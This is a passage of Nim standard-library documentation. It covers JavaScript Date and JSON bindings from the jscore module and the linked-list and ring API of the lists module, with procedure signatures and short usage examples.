[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L71) ``` proc newDate(): DateTime {...}{.importcpp: "new Date()".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L73) ``` proc newDate(date: int | int64 | string): DateTime {...}{.importcpp: "new Date(#)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L76) ``` proc newDate(year, month, day, hours, minutes, seconds, milliseconds: int): DateTime {...}{. importcpp: "new Date(#,#,#,#,#,#,#)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L79) ``` proc getDay(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L83) ``` proc getFullYear(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L84) ``` proc getHours(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L85) ``` proc getMilliseconds(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L86) ``` proc getMinutes(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L87) ``` proc getMonth(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L88) ``` proc getSeconds(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L89) ``` proc getYear(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L90) ``` proc getTime(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L91) ``` proc toString(d: DateTime): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L92) ``` proc getUTCDate(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L93) ``` proc getUTCFullYear(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L94) ``` proc getUTCHours(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L95) ``` proc getUTCMilliseconds(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L96) ``` proc getUTCMinutes(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L97) ``` proc getUTCMonth(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L98) ``` proc getUTCSeconds(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L99) ``` proc getUTCDay(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L100) ``` proc getTimezoneOffset(d: DateTime): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L101) ``` proc setFullYear(d: DateTime; year: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L102) ``` proc stringify(l: JsonLib; s: JsRoot): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L105) ``` proc parse(l: JsonLib; s: cstring): JsRoot {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L106)
programming_docs
nim lists lists ===== Implementation of: * [singly linked lists](#SinglyLinkedList) * [doubly linked lists](#DoublyLinkedList) * [singly linked rings](#SinglyLinkedRing) (circular lists) * [doubly linked rings](#DoublyLinkedRing) (circular lists) Basic Usage ----------- Because it makes no sense to do otherwise, the `next` and `prev` pointers are not hidden from you and can be manipulated directly for efficiency. ### Lists ``` import lists var l = initDoublyLinkedList[int]() a = newDoublyLinkedNode[int](3) b = newDoublyLinkedNode[int](7) c = newDoublyLinkedNode[int](9) l.append(a) l.append(b) l.prepend(c) assert a.next == b assert a.prev == c assert c.next == a assert c.next.next == b assert c.prev == nil assert b.next == nil ``` ### Rings ``` import lists var l = initSinglyLinkedRing[int]() a = newSinglyLinkedNode[int](3) b = newSinglyLinkedNode[int](7) c = newSinglyLinkedNode[int](9) l.append(a) l.append(b) l.prepend(c) assert c.next == a assert a.next == b assert c.next.next == b assert b.next == c assert c.next.next.next == c ``` See also -------- * [deques module](deques) for double-ended queues * [sharedlist module](sharedlist) for shared singly-linked lists Types ----- ``` DoublyLinkedNodeObj[T] = object next*: (ref DoublyLinkedNodeObj[T]) prev* {...}{.cursor.}: ref DoublyLinkedNodeObj[T] value*: T ``` A node a doubly linked list consists of. It consists of a `value` field, and pointers to `next` and `prev`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L83) ``` DoublyLinkedNode[T] = ref DoublyLinkedNodeObj[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L90) ``` SinglyLinkedNodeObj[T] = object next*: (ref SinglyLinkedNodeObj[T]) value*: T ``` A node a singly linked list consists of. It consists of a `value` field, and a pointer to `next`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L92) ``` SinglyLinkedNode[T] = ref SinglyLinkedNodeObj[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L98) ``` SinglyLinkedList[T] = object head*: (SinglyLinkedNode[T]) tail* {...}{.cursor.}: SinglyLinkedNode[T] ``` A singly linked list. Use [initSinglyLinkedList proc](#initSinglyLinkedList) to create a new empty list. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L100) ``` DoublyLinkedList[T] = object head*: (DoublyLinkedNode[T]) tail* {...}{.cursor.}: DoublyLinkedNode[T] ``` A doubly linked list. Use [initDoublyLinkedList proc](#initDoublyLinkedList) to create a new empty list. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L108) ``` SinglyLinkedRing[T] = object head*: (SinglyLinkedNode[T]) tail* {...}{.cursor.}: SinglyLinkedNode[T] ``` A singly linked ring. Use [initSinglyLinkedRing proc](#initSinglyLinkedRing) to create a new empty ring. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L116) ``` DoublyLinkedRing[T] = object head*: DoublyLinkedNode[T] ``` A doubly linked ring. Use [initDoublyLinkedRing proc](#initDoublyLinkedRing) to create a new empty ring. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L124) ``` SomeLinkedList[T] = SinglyLinkedList[T] | DoublyLinkedList[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L131) ``` SomeLinkedRing[T] = SinglyLinkedRing[T] | DoublyLinkedRing[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L133) ``` SomeLinkedCollection[T] = SomeLinkedList[T] | SomeLinkedRing[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L135) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L135) ``` SomeLinkedNode[T] = SinglyLinkedNode[T] | DoublyLinkedNode[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L137) Procs ----- ``` proc initSinglyLinkedList[T](): SinglyLinkedList[T] ``` Creates a new singly linked list that is empty. **Example:** ``` var a = initSinglyLinkedList[int]() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L139) ``` proc initDoublyLinkedList[T](): DoublyLinkedList[T] ``` Creates a new doubly linked list that is empty. **Example:** ``` var a = initDoublyLinkedList[int]() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L145) ``` proc initSinglyLinkedRing[T](): SinglyLinkedRing[T] ``` Creates a new singly linked ring that is empty. **Example:** ``` var a = initSinglyLinkedRing[int]() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L151) ``` proc initDoublyLinkedRing[T](): DoublyLinkedRing[T] ``` Creates a new doubly linked ring that is empty. **Example:** ``` var a = initDoublyLinkedRing[int]() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L157) ``` proc newDoublyLinkedNode[T](value: T): (DoublyLinkedNode[T]) ``` Creates a new doubly linked node with the given `value`. **Example:** ``` var n = newDoublyLinkedNode[int](5) assert n.value == 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L163) ``` proc newSinglyLinkedNode[T](value: T): (SinglyLinkedNode[T]) ``` Creates a new singly linked node with the given `value`. **Example:** ``` var n = newSinglyLinkedNode[int](5) assert n.value == 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L172) ``` proc `$`[T](L: SomeLinkedCollection[T]): string ``` Turns a list into its string representation for logging and printing. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L323) ``` proc find[T](L: SomeLinkedCollection[T]; value: T): SomeLinkedNode[T] ``` Searches in the list for a value. Returns `nil` if the value does not exist. See also: * [contains proc](#contains,SomeLinkedCollection%5BT%5D,T) **Example:** ``` var a = initSinglyLinkedList[int]() a.append(9) a.append(8) assert a.find(9).value == 9 assert a.find(1) == nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L331) ``` proc contains[T](L: SomeLinkedCollection[T]; value: T): bool {...}{.inline.} ``` Searches in the list for a value. Returns `false` if the value does not exist, `true` otherwise. See also: * [find proc](#find,SomeLinkedCollection%5BT%5D,T) **Example:** ``` var a = initSinglyLinkedList[int]() a.append(9) a.append(8) assert a.contains(9) assert 8 in a assert(not a.contains(1)) assert 2 notin a ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L347) ``` proc append[T](L: var SinglyLinkedList[T]; n: SinglyLinkedNode[T]) {...}{.inline.} ``` Appends (adds to the end) a node `n` to `L`. Efficiency: O(1). See also: * [append proc](#append,SinglyLinkedList%5BT%5D,T) for appending a value * [prepend proc](#prepend,SinglyLinkedList%5BT%5D,SinglyLinkedNode%5BT%5D) for prepending a node * [prepend proc](#prepend,SinglyLinkedList%5BT%5D,T) for prepending a value **Example:** ``` var a = initSinglyLinkedList[int]() n = newSinglyLinkedNode[int](9) a.append(n) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L364) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L364) ``` proc append[T](L: var SinglyLinkedList[T]; value: T) {...}{.inline.} ``` Appends (adds to the end) a value to `L`. Efficiency: O(1). See also: * [append proc](#append,SinglyLinkedList%5BT%5D,T) for appending a value * [prepend proc](#prepend,SinglyLinkedList%5BT%5D,SinglyLinkedNode%5BT%5D) for prepending a node * [prepend proc](#prepend,SinglyLinkedList%5BT%5D,T) for prepending a value **Example:** ``` var a = initSinglyLinkedList[int]() a.append(9) a.append(8) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L387) ``` proc prepend[T](L: var SinglyLinkedList[T]; n: SinglyLinkedNode[T]) {...}{.inline.} ``` Prepends (adds to the beginning) a node to `L`. Efficiency: O(1). See also: * [append proc](#append,SinglyLinkedList%5BT%5D,SinglyLinkedNode%5BT%5D) for appending a node * [append proc](#append,SinglyLinkedList%5BT%5D,T) for appending a value * [prepend proc](#prepend,SinglyLinkedList%5BT%5D,T) for prepending a value **Example:** ``` var a = initSinglyLinkedList[int]() n = newSinglyLinkedNode[int](9) a.prepend(n) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L402) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L402) ``` proc prepend[T](L: var SinglyLinkedList[T]; value: T) {...}{.inline.} ``` Prepends (adds to the beginning) a node to `L`. Efficiency: O(1). See also: * [append proc](#append,SinglyLinkedList%5BT%5D,SinglyLinkedNode%5BT%5D) for appending a node * [append proc](#append,SinglyLinkedList%5BT%5D,T) for appending a value * [prepend proc](#prepend,SinglyLinkedList%5BT%5D,SinglyLinkedNode%5BT%5D) for prepending a node **Example:** ``` var a = initSinglyLinkedList[int]() a.prepend(9) a.prepend(8) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L422) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L422) ``` proc append[T](L: var DoublyLinkedList[T]; n: DoublyLinkedNode[T]) ``` Appends (adds to the end) a node `n` to `L`. Efficiency: O(1). See also: * [append proc](#append,DoublyLinkedList%5BT%5D,T) for appending a value * [prepend proc](#prepend,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for prepending a node * [prepend proc](#prepend,DoublyLinkedList%5BT%5D,T) for prepending a value * [remove proc](#remove,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for removing a node **Example:** ``` var a = initDoublyLinkedList[int]() n = newDoublyLinkedNode[int](9) a.append(n) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L440) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L440) ``` proc append[T](L: var DoublyLinkedList[T]; value: T) ``` Appends (adds to the end) a value to `L`. Efficiency: O(1). See also: * [append proc](#append,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for appending a node * [prepend proc](#prepend,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for prepending a node * [prepend proc](#prepend,DoublyLinkedList%5BT%5D,T) for prepending a value * [remove proc](#remove,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for removing a node **Example:** ``` var a = initDoublyLinkedList[int]() a.append(9) a.append(8) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L465) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L465) ``` proc prepend[T](L: var DoublyLinkedList[T]; n: DoublyLinkedNode[T]) ``` Prepends (adds to the beginning) a node `n` to `L`. Efficiency: O(1). See also: * [append proc](#append,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for appending a node * [append proc](#append,DoublyLinkedList%5BT%5D,T) for appending a value * [prepend proc](#prepend,DoublyLinkedList%5BT%5D,T) for prepending a value * [remove proc](#remove,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for removing a node **Example:** ``` var a = initDoublyLinkedList[int]() n = newDoublyLinkedNode[int](9) a.prepend(n) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L483) ``` proc prepend[T](L: var DoublyLinkedList[T]; value: T) ``` Prepends (adds to the beginning) a value to `L`. Efficiency: O(1). See also: * [append proc](#append,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for appending a node * [append proc](#append,DoublyLinkedList%5BT%5D,T) for appending a value * [prepend proc](#prepend,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for prepending a node * [remove proc](#remove,DoublyLinkedList%5BT%5D,DoublyLinkedNode%5BT%5D) for removing a node **Example:** ``` var a = initDoublyLinkedList[int]() a.prepend(9) a.prepend(8) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L508) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L508) ``` proc remove[T](L: var DoublyLinkedList[T]; n: DoublyLinkedNode[T]) ``` Removes a node `n` from `L`. Efficiency: O(1). **Example:** ``` var a = initDoublyLinkedList[int]() n = newDoublyLinkedNode[int](5) a.append(n) assert 5 in a a.remove(n) assert 5 notin a ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L526) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L526) ``` proc append[T](L: var SinglyLinkedRing[T]; n: SinglyLinkedNode[T]) ``` Appends (adds to the end) a node `n` to `L`. Efficiency: O(1). See also: * [append proc](#append,SinglyLinkedRing%5BT%5D,T) for appending a value * [prepend proc](#prepend,SinglyLinkedRing%5BT%5D,SinglyLinkedNode%5BT%5D) for prepending a node * [prepend proc](#prepend,SinglyLinkedRing%5BT%5D,T) for prepending a value **Example:** ``` var a = initSinglyLinkedRing[int]() n = newSinglyLinkedNode[int](9) a.append(n) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L544) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L544) ``` proc append[T](L: var SinglyLinkedRing[T]; value: T) ``` Appends (adds to the end) a value to `L`. Efficiency: O(1). See also: * [append proc](#append,SinglyLinkedRing%5BT%5D,SinglyLinkedNode%5BT%5D) for appending a node * [prepend proc](#prepend,SinglyLinkedRing%5BT%5D,SinglyLinkedNode%5BT%5D) for prepending a node * [prepend proc](#prepend,SinglyLinkedRing%5BT%5D,T) for prepending a value **Example:** ``` var a = initSinglyLinkedRing[int]() a.append(9) a.append(8) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L569) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L569) ``` proc prepend[T](L: var SinglyLinkedRing[T]; n: SinglyLinkedNode[T]) ``` Prepends (adds to the beginning) a node `n` to `L`. Efficiency: O(1). See also: * [append proc](#append,SinglyLinkedRing%5BT%5D,SinglyLinkedNode%5BT%5D) for appending a node * [append proc](#append,SinglyLinkedRing%5BT%5D,T) for appending a value * [prepend proc](#prepend,SinglyLinkedRing%5BT%5D,T) for prepending a value **Example:** ``` var a = initSinglyLinkedRing[int]() n = newSinglyLinkedNode[int](9) a.prepend(n) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L585) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L585) ``` proc prepend[T](L: var SinglyLinkedRing[T]; value: T) ``` Prepends (adds to the beginning) a value to `L`. Efficiency: O(1). See also: * [append proc](#append,SinglyLinkedRing%5BT%5D,SinglyLinkedNode%5BT%5D) for appending a node * [append proc](#append,SinglyLinkedRing%5BT%5D,T) for appending a value * [prepend proc](#prepend,SinglyLinkedRing%5BT%5D,SinglyLinkedNode%5BT%5D) for prepending a node **Example:** ``` var a = initSinglyLinkedRing[int]() a.prepend(9) a.prepend(8) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L609) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L609) ``` proc append[T](L: var DoublyLinkedRing[T]; n: DoublyLinkedNode[T]) ``` Appends (adds to the end) a node `n` to `L`. Efficiency: O(1). See also: * [append proc](#append,DoublyLinkedRing%5BT%5D,T) for appending a value * [prepend proc](#prepend,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for prepending a node * [prepend proc](#prepend,DoublyLinkedRing%5BT%5D,T) for prepending a value * [remove proc](#remove,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for removing a node **Example:** ``` var a = initDoublyLinkedRing[int]() n = newDoublyLinkedNode[int](9) a.append(n) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L627) ``` proc append[T](L: var DoublyLinkedRing[T]; value: T) ``` Appends (adds to the end) a value to `L`. Efficiency: O(1). See also: * [append proc](#append,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for appending a node * [prepend proc](#prepend,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for prepending a node * [prepend proc](#prepend,DoublyLinkedRing%5BT%5D,T) for prepending a value * [remove proc](#remove,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for removing a node **Example:** ``` var a = initDoublyLinkedRing[int]() a.append(9) a.append(8) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L654) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L654) ``` proc prepend[T](L: var DoublyLinkedRing[T]; n: DoublyLinkedNode[T]) ``` Prepends (adds to the beginning) a node `n` to `L`. Efficiency: O(1). See also: * [append proc](#append,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for appending a node * [append proc](#append,DoublyLinkedRing%5BT%5D,T) for appending a value * [prepend proc](#prepend,DoublyLinkedRing%5BT%5D,T) for prepending a value * [remove proc](#remove,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for removing a node **Example:** ``` var a = initDoublyLinkedRing[int]() n = newDoublyLinkedNode[int](9) a.prepend(n) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L672) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L672) ``` proc prepend[T](L: var DoublyLinkedRing[T]; value: T) ``` Prepends (adds to the beginning) a value to `L`. Efficiency: O(1). See also: * [append proc](#append,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for appending a node * [append proc](#append,DoublyLinkedRing%5BT%5D,T) for appending a value * [prepend proc](#prepend,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for prepending a node * [remove proc](#remove,DoublyLinkedRing%5BT%5D,DoublyLinkedNode%5BT%5D) for removing a node **Example:** ``` var a = initDoublyLinkedRing[int]() a.prepend(9) a.prepend(8) assert a.contains(9) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L699) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L699) ``` proc remove[T](L: var DoublyLinkedRing[T]; n: DoublyLinkedNode[T]) ``` Removes `n` from `L`. Efficiency: O(1). **Example:** ``` var a = initDoublyLinkedRing[int]() n = newDoublyLinkedNode[int](5) a.append(n) assert 5 in a a.remove(n) assert 5 notin a ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L717) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L717) Iterators --------- ``` iterator items[T](L: SomeLinkedList[T]): T ``` Yields every value of `L`. See also: * [mitems iterator](#mitems.i,SomeLinkedList%5BT%5D) * [nodes iterator](#nodes.i,SomeLinkedList%5BT%5D) **Examples:** ``` var a = initSinglyLinkedList[int]() for i in 1 .. 3: a.append(10*i) for x in a: # the same as: for x in items(a): echo x # 10 # 20 # 30 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L195) ``` iterator items[T](L: SomeLinkedRing[T]): T ``` Yields every value of `L`. See also: * [mitems iterator](#mitems.i,SomeLinkedRing%5BT%5D) * [nodes iterator](#nodes.i,SomeLinkedRing%5BT%5D) **Examples:** ``` var a = initSinglyLinkedRing[int]() for i in 1 .. 3: a.append(10*i) for x in a: # the same as: for x in items(a): echo x # 10 # 20 # 30 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L217) ``` iterator mitems[T](L: var SomeLinkedList[T]): var T ``` Yields every value of `L` so that you can modify it. See also: * [items iterator](#items.i,SomeLinkedList%5BT%5D) * [nodes iterator](#nodes.i,SomeLinkedList%5BT%5D) **Example:** ``` var a = initSinglyLinkedList[int]() for i in 1 .. 5: a.append(10*i) assert $a == "[10, 20, 30, 40, 50]" for x in mitems(a): x = 5*x - 1 assert $a == "[49, 99, 149, 199, 249]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/lists.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/lists.nim#L239) ``` iterator mitems[T](L: var SomeLinkedRing[T]): var T ``` Yields every value of `L` so that you can modify it. See also: * [items iterator](#items.i,SomeLinkedRing%5BT%5D) * [nodes iterator](#nodes.i,SomeLinkedRing%5BT%5D) **Example:** ``` var a = initSinglyLinkedRing[int]() for i in 1 .. 5: a.append(10*i) assert $a == 